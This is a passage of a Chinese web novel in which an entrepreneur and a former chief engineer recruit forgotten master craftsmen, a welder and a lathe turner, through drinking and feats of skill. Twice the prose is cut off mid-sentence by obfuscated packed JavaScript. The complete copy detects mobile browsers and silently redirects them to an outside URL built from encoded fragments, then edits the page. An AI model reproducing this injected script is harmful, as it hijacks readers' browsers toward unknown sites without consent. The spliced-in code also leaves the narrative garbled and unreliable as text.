汗水,在他那被煤灰染黑的、熊一样的背脊上,冲刷出一道道蜿蜒的、如同白色小溪般的痕迹。 他没有用手,而是用一把比寻常铁锹大上两号的、巨大的方头煤铲,一铲,一铲地,将门口那堆积如山的煤块,送进那张开着血盆大口、正熊熊燃烧的锅炉里。 他的每一个动作,都充满了爆炸性的力量,仿佛他铲的不是煤,而是这个操蛋世界的、冰冷的骨头。 他,就是“活阎王”,刘福生。 一个曾能用焊枪,在两张薄如蝉翼的钢板之间,绣出比发丝更精细焊缝的、共和国第一代九级焊工。 “老刘。” 路承舟走上前,那股属于总工程师的、不容置喙的命令式语气,再次响了起来,“收拾东西,跟我走。” 刘福生铲煤的动作,没有丝毫停顿,仿佛没听见。 “远征机械制造厂。” 路承舟皱了皱眉,耐着性子,将昨天对丁建中说过的话,又重复了一遍,“我要建一条全自动生产线,需要一个首席的焊接技师,负责所有高压管道和承重结构的焊接。要求,无损探伤,一次通过。” “砰!” 刘福生猛地将那把巨大的煤铲,狠狠地,插进了煤堆里。 他缓缓地,转过身。 一张被煤灰和岁月,雕刻得如同恶鬼般的脸,出现在三人面前。 他的眼睛,很小,却在昏暗的炉火映照下,闪烁着两点骇人的、如同野兽般的红光。 他没有看路承舟,而是将目光,落在了路承舟身后,那个手艺人气质十足的丁建中身上。 “老丁,” 他的声音,如同两块生锈的铁板在摩擦,粗粝,刺耳,“你也跟着这个只会画图的白面书生,一起疯了?” 丁建中没说话,只是,默默地,从江建国手里那个黑色的人造革提包里,拿出了两瓶,用草绳捆在一起的、六十度的“老村长”牌老白干。 刘福生的眼皮,跳了一下。 “老路,” 他转过头,看着路承舟,嘴角咧开一个充满了嘲讽的、狰狞的笑容,“你以为,你是谁?二十年前,你是总工,一句话,就能让老子们不眠不休给你干三天三夜。可现在,” 他指了指那熊熊燃烧的锅炉,“你看看你自己,再看看我。我们都一样,都是被扔进这个炉子里,烧剩下的煤渣。” “你的图纸,能当饭吃吗?能当酒喝吗?” 他伸出那蒲扇般的大手,指着门口,“滚。” 路承舟的脸,瞬间,又一次,涨成了猪肝色。 他感觉自己所有的骄傲和尊严,在这一天之内,被这些他最看重的老伙计,反复地,扔在地上,碾得粉碎。 “老刘。” 江建国走上前,将路承舟和丁建中,都拦在了身后。 他没有说任何关于工厂和未来的话。 他只是,将那两瓶老白干和三个粗瓷大碗,“砰”的一声,重重地,放在了那张同样沾满了煤灰的、简陋的木桌上。 他拧开瓶盖,那辛辣的、纯粹的粮食酒香,瞬间,压过了空气里所有的杂味。 他没有用倒的,而是直接用手,将三只大碗,都“满上”。 那清冽的酒液,因为倒得太猛,甚至溅出了些许。 “刘师傅,” 江建国看着刘福生的眼睛,那双眼睛里,没有半分恳求,只有一种即将与对手,同归于尽的疯狂,“我不是来请你干活的。” “我是来,跟你,喝酒的。” 刘福生那双野兽般的眼睛,微微眯了起来。 江建国端起一碗酒,看着他,一字一顿地说道:“我听说,当年在厂里没人能在酒桌上,把你‘活阎王’喝趴下。今天,我江建国,一个乡下来的泥腿子,想试试。” 他将那碗足有半斤的烈酒,举到嘴边,仰起头,“咕咚咕咚”,一饮而尽! 没有一滴,洒在外面。 喝完,他将碗口朝下,重重地,顿在桌上。 “我喝完了。这碗酒,敬的是,你‘活阎王’当年的威风。” 他看着刘福生,眼神,如同两把即将出鞘的刀,“现在,该你了。” “你,还敢不敢,喝?” 刘福生那张恶鬼般的脸上,第一次,露出了动容的神色。 他看着眼前这个,比他见过的任何一个厂领导,都更像土匪的男人。 他那颗早已被酒精和煤灰,麻痹了的心,第一次,被一种久违的、名为“血性”的东西,给点燃了! “好!” 他发出了一声如同困兽般的低吼! 他走上前,端起那碗酒,同样,一饮而尽! “再来!” 江建国二话不说,再次,将两只碗,满上。 他端起第二碗酒。 “这一碗,” 他的声音,变得低沉,“我敬你,心里那把,还没熄的火。” “他们都说,你刘福生,是个酒鬼,是个废物,是个只配在锅炉房里,跟煤渣打交道的老疯子。” “可我知道,不是。” 江建国死死地,盯着他的眼睛,“我知道,你每天守着这个炉子,不是为了那几块钱的工资。你是在看火。你怕你心里那点,属于一个九级焊工的火,断了。你怕你那双,曾能点石成金的手,冷了。” “我说的,对不对?” 刘福生的身体,猛地一震! 他看着江建国,像在看一个,能钻进他心里的魔鬼! 江建国再次,一饮而尽! “该你了!” 他将空碗,重重地顿在桌上,那瓷碗,甚至被磕出了一道裂纹,“这碗酒,你要是还敢喝,就证明,你心里的火,还没死透!” 刘福生那双充血的眼睛,死死地,盯着江建国。 他感觉,自己喝的,不是酒。 他喝的,是自己那被压抑了二十年的不甘! 他端起酒,再次,一饮而尽! 那辛辣的液体,像一团火,从他的喉咙,一直烧进了他的五脏六腑,也烧得他,双眼通红! 江建国,拿起了最后一瓶酒,也是最满的一瓶。 他没有再用碗,而是直接,将那瓶酒,放在了桌子中央。 “刘师傅,” 他缓缓说道,“我江建国,是个粗人。我不会画图,也不懂什么狗屁的‘无人化’。” “我只知道,我那瓶辣酱,就是我的命。我那一百多个嗷嗷待哺的工人,就是我的家。” “现在,有人,想砸了我的家,断了我的命。我得,跟他们拼命。” “可我手里,没枪。路总工,给了我一张枪的图纸。丁师傅,答应帮我,把这枪的零件,都给磨出来。可我,还缺一个,能把这把枪,给严丝合缝地,焊起来的神仙。” 他指着桌上那最后一瓶酒。 “今天,你要是能把我,喝趴下。我江建国,掉头就走,从此,再不踏进你这锅炉房半步。” “可要是,” 他的声音,骤然拔高,如同龙吟,“你要是被我喝倒了。那你刘福生,就得给老子,重新把这身‘阎王’的行头,穿起来!” “跟我,一起,去跟那些狗娘养的,拼命!” 说完,他竟不再看刘福生,而是对着丁建中和路承舟,说道:“你们两个,一人一半,把他给我灌倒!” 丁建中和路承舟,都愣住了。 他们没想到,江建国会用这种近乎于流氓的、不讲道理的、却又充满了兄弟义气的方式,来进行最后的“招降”。 路承舟的脸上,第一次,露出了一个真正的、发自肺腑的、快意的笑容。 他端起那瓶酒,走到刘福生的面前。 “老刘,” 他拍了拍刘福生那坚实的肩膀,声音里,是久违的、属于战友的温度,“二十年了,我没跟你喝过一次酒。今天,我敬你。” “我敬你,当年,为了给我那张破图纸,赶一个公差,三天三夜,没合眼,硬是用乙炔,给自己烧出了一个胃穿孔。” “这杯酒,我先干了。” 说完,他也仰起头,将那半瓶烈酒,灌进了自己的喉咙! 刘福生,看着眼前这两个,一个用命来请,一个用情来敬的男人。 他那颗早已被煤灰和酒精,封存起来的心,在这一刻,彻底地炸了! “啊!” 他发出一声不似人声的、充满了无尽委屈与滔天豪情的怒吼! 他没有去拿那剩下的半瓶酒。 他猛地,转身,冲到墙角,从一堆废弃的工具里,翻出了一个早已锈迹斑斑的焊工面罩,和一把同样锈迹斑斑的焊枪! 他戴上面罩,接上电源。 “滋!” 一道刺目的、令人无法直视的电弧白光,瞬间,照亮了整个昏暗的、如同地狱般的锅炉房! 刘福生,那个“活阎王”,在这一刻,重新,归位! 他没有用任何焊条。 他只是,用那焊枪喷出的、温度高达三千度的电弧,对着他刚才用来铲煤的那把、厚达半公分的,铁锹的表面,开始游走! 火星四溅,青烟弥漫! 那画面,如同神魔,在锻造着一件,毁天灭地的神器! 一分钟后,他关掉焊枪,取下面罩。 他将那把还烧得通红的铁锹,狠狠地,插在了江建国的面前! 只见那黝黑的、粗糙的铁锹表面上,竟被他用电弧硬生生地烧出了三个,铁画银钩,入铁三分,充满了无边霸气的,大字【刘福生】。 他看着江建国,那双充血的眼睛里,燃着两团,足以融化钢铁的火焰。 “去哪儿,杀人?” 第62章 剃刀边缘的神 面对刘福生那双燃烧着地狱之火的眼睛,江建国笑了。 那笑容里,没有半分斯文,只有一种与“活阎王”如出一辙的、野兽般的凶悍。 “杀人?” 他伸出一根手指,轻轻在那块滚烫的、刻着【刘福生】三个大字的铁锹上,点了点。 “我们要杀的,是趴在咱们这片土地上,吸了咱们几十年血的那些洋人,心里头的傲慢!” 他又伸出第二根手指,指向那片沉默的、如同钢铁坟场般的厂区。 “我们要杀的,是锁住咱们手脚、锈进咱们骨头里的,这二十年的陈规与暮气!” 最后,他收回手,重重地,捶在了自己的胸口上,那声音,如同擂鼓。 “我们最要杀的,是咱们自己心里那个,已经跪了太久,忘了怎么站起来的,窝囊废!” 江建国的声音不大,却字字如雷,在这间闷热的、充满了硫磺气息的锅炉房里,轰然炸响! 刘福生那山峦般的身躯,猛地一震。 他看着江建国,看着这个比自己矮了一个头,气势却比这炉膛里的火,还要旺盛百倍的男人。他那颗刚刚被烈酒点燃的心,在这一刻,被江建国这番话,彻底淬炼成了一块烧红的钢! “好!” 他将那把刻着自己名字的铁锹,往地上一扔,发出“哐当”一声巨响,仿佛是在宣告一个旧时代的彻底终结。“老子这条命,从今天起,就卖给你这个魔鬼了!” 路承舟站在一旁,看着眼前这两个气场骇人的“魔鬼”与“阎王”,他那张万年不变的冰山脸上,第一次,浮现出一抹复杂难言的神色。 他本以为,自己寻的是一群技术精湛的工匠。 可江建国,却用一种他完全无法理解、却又不得不为之震撼的方式,为他招来了一支,能踏平地狱的军队。 “下一个。”江建国转过头,目光如炬。 路承舟深吸一口气,压下心中的波澜,将手指,点在了地图上的第三个红圈上。 “钱德禄。” 他的声音,恢复了工程师特有的冷静与精确,“特级车工,外号‘一刀准’。当年,咱们厂那根从莫斯科进口的、给潜艇螺旋桨做精加工的超长主轴,上面有一个比头发丝还细五倍的加工痕,苏联专家用仪器都检测不出来。是他,老钱,关了车间所有的灯,用一根蜡烛的光,靠着反光,硬生生把那个点给找了出来。然后,只用了一刀,就把那根价值三十万卢布的主轴,给救了回来。” 丁建中在一旁,补充了一句,语气里充满了敬畏:“老钱的手,不是手。那是尺子,是卡规,是这个世界上,最准的东西。” “他现在在哪?”江建国问。 路承舟的脸上,闪过一丝难以启齿的屈辱。 “红旗理发店。” 他几乎是从牙缝里,挤出了这几个字,“他在那儿,给人……刮脸。” …… 红旗理发店,是铁西区最老式的国营理发店。 白色的瓷砖墙,老旧的、人造革的理发椅,空气里,永远飘着一股廉价洗发水和剃须膏混合的、独特的味道。 江建国四人走进去的时候,钱德禄,正站在二号理发椅前。 他比丁建中和刘福生,都要瘦小,甚至有些佝偻。一身洗得发白的蓝布褂子,松松垮垮地罩在身上,像挂在一个衣架上。 他的脸上,没有任何表情,眼神,更是空洞得如同一口枯井,看不见一丝波澜。 那是一种,对这个世界,彻底心死的麻木。 他的手里,握着一把寒光闪闪的老式剃刀。 椅子上,躺着一个满脸横肉的胖子,脖子仰着,露出了喉结下方,那片最脆弱的皮肤。 钱德禄的手,动了。 那不是在刮脸,那像是一场没有声音的、精准到了极致的芭蕾舞。 他的手腕,没有一丝一毫多余的晃动,剃刀的刀锋,以一个恒定不变的角度,贴着胖子的皮肤,行云流水般,一扫而过。 泡沫被刮去,露出下方光洁的皮肤,没有留下一丁点的胡茬,更没有一丝一毫的血痕。 整个过程,安静,流畅,充满了机械般的美感。 可江建国却看得,心里一阵阵发堵。 这本该是用来驾驭千吨车床、切削国之重器的神之手,此刻,却在为几毛钱的生意,伺候着一个地痞无赖的下巴。 这不是手艺。 这是对神祇的,公开处刑。 “老钱。” 路承舟走上前,声音干涩。 钱德禄眼皮都没抬一下,只是用一块布,仔细地,擦拭着刀锋上的泡沫,动作慢条斯理,仿佛周围的一切,都与他无关。 路承舟还想说什么,却被江建国抬手,拦住了。 江建国知道,对一个心已经死了的人来说,任何关于理想和未来的宏大叙事,都只是一种令人厌烦的噪音。 他没有说话,只是静静地,看着钱德禄,做完他手里的活。 收钱,找零,送客。 钱德禄做完这一切,便准备坐回到角落里那张小马扎上,继续他的发呆。 “钱师傅。” 江建国开口了。 钱德禄的脚步,顿了一下,却没有回头。 江建国从口袋里,摸出了一枚硬币。 一枚最常见的一分钱铝币。 他走到钱德禄面前,将那枚硬币,放在了理发椅的扶手上。 “我想请您,帮个忙。” 江建国看着他那双空洞的眼睛,缓缓说道,“我想请您,用您手里的这把刀,把这枚硬币,给我片成两片。” 钱德禄那麻木的脸上,终于,有了一丝变化。 他抬起眼,看了江建国一眼,那眼神,像是在看一个疯子。 “滚。” 他从嘴里,吐出了一个字。 旁边几个等着理发的闲汉,也哄笑起来。 “哪来的乡巴佬,在这寻开心呢?” “就是,拿钱师傅当耍猴的了?” 江建国没有理会那些嘲笑,他只是,从提包里,拿出了一沓,崭新的、还带着油墨香气的,大团结。 他没有数,直接将那厚厚的一沓钱,“啪”的一声,拍在了硬币旁边。 “这一千块,是定金。” 江建国的声音,不大,却清晰地,传遍了整个理发店,“只要您能做到,我再给您九千。” “一万块,买您,一刀。” 整个理发店,瞬间,死一般的寂静! 所有人的呼吸,都停滞了! 一万块! 在这个普通工人月工资只有几十块的年代,这笔钱,足够在奉天市中心,买下一套带院子的大房子! 用一万块,去赌一把,几乎不可能完成的戏法! 所有人的目光,都聚焦在了钱德禄那张瘦削的、毫无生气的脸上。 钱德禄看着那沓钱,又看了看那枚小小的硬币,他那双死水般的眼睛里,第一次,泛起了一丝涟漪。 那不是贪婪。 而是一种被巨额的、荒谬的赌注,所激起的、属于一个顶级匠人的、本能的屈辱与愤怒! 他觉得,眼前这个乡下人,是在用钱,来羞辱他那双,曾经被整个共和国的工业界,奉为神明的手! “你……” 他那干裂的嘴唇,动了动,似乎想说什么。 “您不敢吗?” 江建国却不等他说完,直接用三个字,堵死了他所有的话,“还是说,您这双‘一刀准’的手,早就废了,只配,刮刮胡子了?” 这句话,像一把淬了毒的尖刀,精准地,狠狠地,扎进了钱德禄那颗早已麻木的心脏最深处! “你找死!” 钱德禄那枯井般的眼睛里,瞬间,爆发出两团骇人的精光! 他那佝偻的背,猛地,挺直了! 一股沉睡了二十年的、属于一代宗师的、凌厉无匹的气势,轰然爆发! 整个理发店的温度,仿佛都在这一刻,骤降了十几度! 他没有再看江建国,也没有再看那沓钱。 他只是,死死地,盯着扶手上那枚,小小的,该死的,一分钱硬币! 他缓缓地,举起了右手。 那把剃刀,在他的手中,仿佛活了过来,变成了一件,拥有生命的、最精密的手术器械。 理发店里,落针可闻。 所有人都屏住了呼吸,瞪大了眼睛,见证着这匪夷所思的一幕。 钱德禄的手,动了。 没有半分犹豫,没有一丝颤抖。 刀锋落下。 “叮!” 一声比蚊蚋的嗡鸣,还要轻微的脆响。 刀锋,抬起。 扶手上那枚一分钱硬币,依旧,完好无损地,立在那里。 “切,”一个年轻的学徒,忍不住小声嘀咕,“还以为多厉害呢……” 他的话,还没说完,就被旁边老师傅的一巴掌,给扇了回去! 因为,所有人都看见,钱德禄伸出两根手指,在那枚硬币上,轻轻一捏。 奇迹,发生了。 那枚硬币,竟从中间,无声无息地,分成了两片! 两片薄如蝉翼的、光滑如镜的、完美的圆! 甚至,连硬币正面【中国人民银行】的字样,和背面国徽的麦穗,都被他这一刀,精准地,从中间,一分为二! 神乎其技! 不! 这是魔鬼的技艺! 整个理发店,鸦雀无声,所有人都像被施了定身法一样,呆立当场! 钱德禄看着自己片开的硬币,又看了看自己那双,依旧稳定如初的手。 他那张麻木的脸上,两行滚烫的浊泪,无声地,滑落。 他没废。 他的手,没废! 江建国走上前,将那一万块钱,推到了他的面前。 “钱师傅,这钱,是你的了。” 然后,他又从提包里,拿出了一样东西,轻轻地,放在了那两片硬币旁边。 那是一张,由路承舟亲手绘制的、关于新生产线核心传动轴的、局部加工图纸。 图纸上,用红笔,标注着一个令人头皮发麻的公差要求。 【±0.001mm】 “钱,是买你刚才那一刀的。” 江建国看着他,一字一顿地说道:“而这张图纸,是我想用你的下半辈子,来换的。” “我不要你给我刮脸。” “我要你,跟我一起,去给那些看不起咱们的洋鬼子……刮骨。” 第63章 四方神将,王座之基 红旗理发店里,时间仿佛被钱德禄那一刀劈成了两半,凝固了。 空气是静的,人心是滞的。 所有人的目光都死死钉在那两片薄如蝉翼的铝片上,那光滑如镜的切面,倒映着一张张呆滞而又惊骇的脸。 那不仅仅是金属,那是神话的碎片,是凡人无法理解的、技艺的终极形态。 钱德禄瘦削的身体微微颤抖着,那双死寂了二十年的眼睛,此刻正被滚烫的泪水冲刷。 他没有去看那沓厚厚的钞票,也没有去看江建国,他的目光穿透了眼前的一切,仿佛看到了二十年前那个灯火通明的车间,看到了那根在自己手中重获新生的、国之重器的主轴。 他没有被遗忘。 他的手,还记得那份属于神只的荣耀。 江建国静静地站着,脸上没有胜利者的狂喜,只有一种寻得绝世宝剑的、深沉的满足。 他伸出手指,小心翼翼地捏起那两片金属,像是捧着两片易碎的琉璃。 他将它们并在一起,那道切口严丝合缝,仿佛从未被分开过。 这双手,不是用来刮脸的。 这双手,是用来创造奇迹的。 钱德禄终于动了。 他缓缓转身,佝偻的背在这一刻竟显得无比挺拔。 他无视了那足以让任何人疯狂的一万块钱,径直走到江建国面前,从他手中,接过了那张画着核心传动轴的图纸。 他的手指,那双能于剃刀边缘起舞的手,轻柔地、近乎虔诚地,抚过图纸上那冰冷的线条和那个令人窒息的公差标记:【±0.001mm】 他没有说话。 一个字也没有。 可他那双重新燃起光芒的眼睛,已经给了江建国最响亮的回答。 一旁的刘福生,这个浑身燃烧着地狱之火的“活阎王”,此刻也收敛了所有的暴戾。 他看着钱德禄手中的图纸,又看看他那双依旧稳定的手,粗粝的脸上,第一次流露出了属于同类的、最纯粹的敬畏。 丁建中更是长长地、释然地,叹了一口气,仿佛心中一块悬了多年的巨石,终于落地。 路承舟的内心,早已掀起了惊涛骇浪。 他看着眼前这三位被他视若珍宝的老伙计,看着他们重新被点燃的匠魂,再看看那个一手导演了这一切的江建国,一种前所未有的、近乎荒谬的念头涌上心头。 他路承舟画了一辈子的图纸,穷尽了所有的精密计算,想要建造一座通天之塔。 可到头来,真正能为这座塔奠定基石、招来神将的,却是一个看似粗鄙不文、却能洞悉人心的“魔鬼”。 “走吧。” 江建国打破了这凝固的寂静,他的声音将所有人从神迹的震撼中拉回现实。 他将那一万块钱,整整齐齐地码好,放在了理发店那张破旧的柜台上。 “老板,” 他对那个早已吓傻的理发店师傅说道,“钱师傅,我带走了。这些钱,一半是他的工钱,另一半,算是我今天砸了你场子的赔偿。” 说完,他不再理会身后那些如同泥塑木雕般的人群,转身,率先走出了理发店。 没有庆功宴,没有豪言壮语。 江建国带着他刚刚从地狱与废墟中招来的三位神将,以及那位为神将们绘制蓝图的“鬼才”,拐进了铁西区一条最不起眼的、充满了煤灰与饭菜混合味道的小巷。 巷子深处,是一家没有招牌的、只做熟客生意的小饭馆。 四张油腻的桌子,一口熏得漆黑的灶台,一个正用蒲扇给炉子扇风的、胖得像弥勒佛的老板。 “老板,” 江建国一屁股坐下,将那个黑色的人造革提包往桌上一扔,声如洪钟,“最好的老白干,先上四瓶!肥肠、护心肉、猪头脸,有什么上什么,捡最肥的切两大盘!再拍两根黄瓜,煮一锅热汤面!” 路承舟、丁建中、刘福生、钱德禄,四个加起来超过两百四十岁的男人,默默地围着那张小方桌坐下。 没有人说话,气氛却不再是之前的压抑与死寂。 一种无形的、坚韧的东西,正在他们之间悄然生长。 那是属于同一类人的默契,是失散多年的战友重新归队的肃穆。 酒上来了,是装在白色陶瓷瓶里、最烈性的烧刀子。 江建国亲自给四人面前的粗瓷大碗满上,酒液满溢,顺着碗沿流淌下来,空气中瞬间弥漫开一股霸道的粮食香气。 他端起碗,目光依次扫过眼前这四张,被岁月刻满了风霜的脸。 “我江建国,没读过几天书,不会说什么漂亮话。” 他的声音沙哑而又沉稳,每一个字都像是从胸膛里直接掏出来的,“我只知道,今天能跟四位师傅坐在一张桌子上喝酒,是我江建国,这辈子最大的造化。” 他顿了顿,眼神变得锐利如刀。 “这第一碗酒,不敬天,不敬地,敬我们自己!” “敬我们这些,被这个**的时代,当成垃圾一样扔掉,却还他妈不认命的……硬骨头!” 说完,他仰起头,将那满满一碗烈酒,一饮而尽! 路承舟看着他,这个他曾经无比鄙夷的“乡下人”,此刻眼中却只剩下震撼。 他端起碗,沉默地,将那滚烫的液体灌入喉中。 刘福生发出一声畅快淋漓的低吼,仰头便干! 丁建中和钱德禄,这两个沉默了一辈子的匠人,也毫不犹豫地,端起了酒碗。 辛辣的酒液如同火焰,灼烧着他们的食道,也点燃了他们早已冰冷的血液。 一碗酒下肚,气氛瞬间不同。 “痛快!” 刘福生将碗重重往桌上一顿,双眼通红地盯着江建国,“姓江的,我老刘服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是共和国第一代工业体系,最后的、也是最精华的,血脉图谱。 江建国听着,他没有插话,只是默默地,又给每个人的碗里,倒满了酒。 直到路承舟念完最后一个名字,他才缓缓开口。 “路总工,这些人,现在都在哪?” 路承舟合上笔记本,脸上露出一抹苦涩的笑意。 “散了。” “有的,在街边卖烤地瓜;有的,回乡下养猪了;还有的,就在某个工厂的门房里,看着大门,混吃等死。” “他们就像这铁西区的工厂一样,被拆得七零八落,散得到处都是。” 江建国看着桌上那本厚厚的笔记本,又看了看眼前这四位,共和国工业最后的脊梁。 他咧开嘴,露出了一个比锅炉房里的火,还要明亮的笑容。 “好。” 他端起第二碗酒,重重地,与桌上其他四只碗,撞在了一起,发出清脆的声响。 “那咱们,就再当一次疯子。” “从明天起,咱们就在这奉天城,竖起我‘远征’的大旗。” “把这些散落在人间的神仙,一个一个,都给老子……请回来!” 第64章 一册神魔录 小饭馆里,热气蒸腾。 那口炖着肥肠的锅子咕嘟作响,浓郁的肉香混杂着劣质白酒辛辣的气息,将这方寸之地熏染得如同一个独立于世的、滚烫的江湖。 四大碗烈酒下肚,路承舟那张常年紧绷的脸,终于泛起了一层罕见的红晕。 酒精,这人类最古老的溶剂,似乎暂时融化了他性格里那些冰冷的、由数据和图纸构成的棱角。 他的手指,摩挲着那本厚实的、边角已经起毛的笔记本,眼神里有追忆,有惋惜,更有被重新点燃的、灼人的期盼。 “孙大海。” 他开口,声音因酒精的浸润而显得有些低沉,却依旧精准如昔,“铸造车间,离了他,就是一盘散沙。这个人,不是用眼睛看铁水,他是用魂魄去‘听’。当年我们试制一种特殊的合金钢,需要铁水在出炉前的三分钟内,温度恒定在一千五百三十度,上下误差不能超过五度。德国专家带来的红外测温仪都烧了三台,最后是他,老孙,搬了张马扎,就坐在炉口,手里拿着根蒲扇,硬是靠着观察火苗的颜色和铁水沸腾的声音,把那炉神仙都伺候不好的钢,给硬生生‘听’了出来。” 路承舟的叙述平铺直叙,不带任何感**彩,可那话语里蕴含的分量,却压得在座的每一个人,呼吸都为之一滞。 “我跟他打过交道。” 丁建中端起酒碗,抿了一小口,浑浊的老眼里闪过一丝复杂的光芒,“那家伙的脾气,比炉子里那铁水还烫,性格比刚出炉的钢锭还硬。他眼里容不得半点沙子,尤其是对那些狗屁倒灶的外行领导。当年,就因为一个新来的厂长不懂装懂,瞎指挥,让他报废了一炉特种钢,他当着全车间几百号人的面,指着那厂长的鼻子,把他从祖宗十八代骂到了老婆孩子,骂得狗血淋头。” “后来呢?” 江建国饶有兴致地问。 “后来?” 一直沉默的刘福生,此刻咧开一个狰狞的笑容,露出一口被烟酒熏得焦黄的牙,“后来,老孙直接脱了工装,把那厂长按在砂型堆里,揍了个半死。那之后,他就再也没回过厂里。” 钱德禄,这个刚刚从麻木中苏醒的“剃刀之神”,也缓缓地点了点头,补充了一句,声音细微却清晰:“他那双手,是用来降服烈火的,不是用来伺候傻子的。” 江建国笑了。 他喜欢这种人。 这种宁可站着死,也绝不跪着生的硬骨头,正是他要找的人。 他们或许被时代磨去了棱角,被生活压弯了脊梁,可只要给他们一星火种,他们骨子里那份足以焚天的骄傲,便会立刻复燃。 “他在哪?” 江建国问道。 “铁西区,重工南路,‘大海废品收购站’。” 路承舟的语气里,透着一股难以言喻的酸楚,“他现在,靠收废铁过活。” 曾经降服铁水的神只,如今却在废铁堆里讨生活。 这世间,再没有比这更残酷的黑色幽默了。 “下一个。” 江建国的表情没有变化,仿佛早已预料到这些神魔的潦倒归宿。 “赵立本,‘淬火王’。” 路承舟翻到了笔记本的第二页,“热处理车间,他是定海神针。咱们国家的坦克前装甲,最早的淬火工艺就是他定的。他淬出来的零件,你用金相显微镜去看,那马氏体的晶体结构,比教科书上的示意图还漂亮。他不用仪器,拿个小锤,在零件上轻轻一敲,光听回声,就能判断出这块钢,‘熟’到了几分火候。” “老赵啊……” 丁建中叹了口气,“他是个老好人,可惜,命不好。唯一的儿子,前几年得了重病,为了凑钱,他把家里祖传的房子都卖了,还欠了一屁股债。现在,应该是在给某个私人的小作坊,打零工吧。” 江建国拿起酒瓶,沉默地,为每个人的碗里,又续上了酒。 他没有说一句安慰的话,也没有发表任何感慨。 他只是静静地听着,像一个最耐心的猎手,在脑海中,一笔一画地,勾勒出每一个猎物的样貌、习性,以及他们内心最深处的伤口。 路承舟的手指,在那本神魔录上,一个一个地滑过。 “镗工‘陈一刀’,他能把炮管的内膛线,镗得比女人的头发还光滑。” “铣工‘鬼手张’,能在三毫米厚的钢板上,铣出清明上河图。” “铆工‘震天雷’,他带的班组,当年铆接的潜艇耐压壳,下潜到极限深度,连一滴水都不渗……” 一个又一个震耳欲聋的名字,一段又一段堪称传奇的事迹,从路承舟那冷静的口中,缓缓流出。 而与之相伴的,却是丁建中、刘福生他们,一句句令人心头发堵的、关于这些传奇人物潦倒现状的补充。 卖烤地瓜的“磨工宗师”。 在澡堂子搓背的“钣金大拿”。 回乡下养猪的“特级锻工”。 这本笔记上记录的,哪里是什么技术工人的名单。 这分明是一整座,被时代活埋了的,工业文明的兵马俑坑! 当路承舟念完最后一个名字,饭馆里,陷入了长久的沉默。 桌上的饭菜已经冷了,可每个人心里的那团火,却被烧得越来越旺。 那火焰里,有愤怒,有不甘,有惋惜,更有即将喷薄而出的、滔天的豪情。 “路总工,” 江建国终于开口,他的声音沙哑,却带着一种不容置疑的决断,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341846|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这七十二个人,我要了。一个,都不能少。” 路承舟抬起头,看着他,眼神复杂:“江总,我得提醒你。这些人,跟老丁他们不一样。他们是兵,不是将。他们更现实,也更……难缠。光靠喝酒,靠讲义气,恐怕……” “我知道。” 江建国打断了他。 他端起桌上那碗已经凉透了的酒,站起身。 “我没打算,跟他们讲道理。” 他的目光,扫过眼前这四位,他“远征”大业的四方基石,嘴角,勾起一抹悍然的弧度。 “咱们是干什么的?咱们是要建一座,前所未有的工厂!是要造一把,能捅破天的尖刀!” “这样的地方,不是菜市场,不是养老院,更不是收容所!” 他将碗里的酒,高高举起,那清冽的酒液在灯光下,反射着森然的光。 “所以,从明天起,咱们不叫‘请’,也不叫‘招’。” “咱们叫‘点将’!” “我江建国,就在这奉天城,立起一座‘远征’的点将台!” “我不管他是神是魔,是龙是虫!也不管他是穷困潦倒,还是心如死灰!” “我只问他一句话”江建国的声音,骤然拔高,如同平地惊雷,在这小小的饭馆里轰然炸响! “你这身屠龙的本事,是甘心就这么烂在阴沟里,还是想跟着我江建国,再轰轰烈烈地,杀上一次九重天?” 说完,他将那碗冷酒,一饮而尽! 冰冷的液体,顺着他的喉咙,一路烧进五脏六腑,却激起了他浑身的、滚烫的战栗! “好!” 刘福生猛地一拍桌子,那厚实的木桌,竟被他拍得发出一声痛苦的呻吟! 他那双野兽般的眼睛里,燃着疯狂的火焰! “就这么干!**,老子早就憋坏了!” 丁建中和钱德禄,这两个沉默的匠人,此刻也挺直了腰杆,那双布满老茧的手,死死地攥着酒碗,指节因为用力而微微发白。 路承舟看着眼前这群,**建国三言两语就煽动得如同要上阵杀敌的“疯子”,他无奈地摇了摇头,嘴角,却抑制不住地,向上扬起。 他知道,一场席卷整个奉天市工业界的风暴,即将开始。 而风暴的中心,就是眼前这个,比土匪更霸道,比魔鬼更懂人心的男人。 “第一个,点谁?” 路承舟问道,他已经彻底进入了“总参谋长”的角色。 江建国将空碗重重顿在桌上,目光如炬。 “就他了。” “那个脾气比铁水还烫的,‘铁水观音’孙大海!” “咱们的第一仗,就从他那废铁堆里,开打!” 第65章 废铁堆里的神只 夜色下的铁西区,像一头搁浅在时间沙滩上的钢铁巨兽,沉默而又庞大。 从那间没有招牌的小饭馆里走出来,五个人身上都带着一股浓烈的酒气与滚烫的战意。 冷风一吹,路承舟那因酒精而发热的头脑清醒了几分,他看着身边这几个刚刚从各自地狱里被拖拽出来的老伙计,又看了看走在最前面、背影如山般沉稳的江建国,心中那股荒谬的感觉愈发强烈。 他感觉自己不像是在筹建一座工厂,更像是在参与一场,注定要被载入史册的、疯狂的豪赌。 赌桌的另一头,是这个沉暮的时代。 而他们所有的筹码,就是这群被时代遗忘的、骄傲到骨子里的神魔。 第二天清晨,当第一缕混杂着煤灰气息的阳光,艰难地穿透笼罩在奉天城上空的工业薄雾时,江建国的“点将台”,便无声地开张了。 没有锣鼓,没有鞭炮,只有一辆破旧的解放牌卡车,载着五个沉默的男人,颠簸着驶向重工南路。 大海废品收购站,与其说是一个收购站,不如说是一座用工业尸骸堆砌而成的、壮观的坟场。 